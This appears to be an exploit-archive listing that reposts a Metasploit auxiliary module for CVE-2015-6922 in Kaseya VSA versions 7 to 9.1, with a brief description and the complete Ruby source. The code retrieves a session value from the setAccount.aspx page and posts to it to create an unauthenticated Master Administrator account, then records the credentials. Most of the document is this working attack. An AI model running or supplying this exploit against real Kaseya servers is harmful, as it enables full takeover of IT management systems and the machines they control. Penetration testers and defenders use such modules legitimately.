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Kaseya VSA Master Administrator Account Creation

Kaseya VSA Master Administrator Account Creation
Posted Aug 31, 2024
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new Master Administrator account. Normally this page is only accessible via the localhost interface, but the application does nothing to prevent this apart from attempting to force a redirect. This Metasploit module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and v9.0.0.3.

tags | exploit
advisories | CVE-2015-6922
SHA-256 | e1841c8b0337c3452bf57ed8cf0802fbe917a2421419b4624898bce377235405

Kaseya VSA Master Administrator Account Creation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-6922'],
['ZDI', '15-448'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
],
'DisclosureDate' => '2015-09-23'
)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
]
)
end

def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' => 'GET'
})

if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
session_val = ::Regexp.last_match(1)
else
print_error('Failed to get sessionVal')
return
end

print_status("Got sessionVal #{session_val}, creating Master Administrator account")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' => 'POST',
'vars_post' => {
'sessionVal' => session_val,
'adminName' => datastore['KASEYA_USER'],
'NewPassword' => datastore['KASEYA_PASS'],
'confirm' => datastore['KASEYA_PASS'],
'adminEmail' => datastore['EMAIL'],
'setAccount' => 'Create'
}
})

unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
print_error('Master Administrator account creation failed')
return
end

print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")

connection_details = {
module_fullname: fullname,
username: datastore['KASEYA_USER'],
private_data: datastore['KASEYA_PASS'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
end
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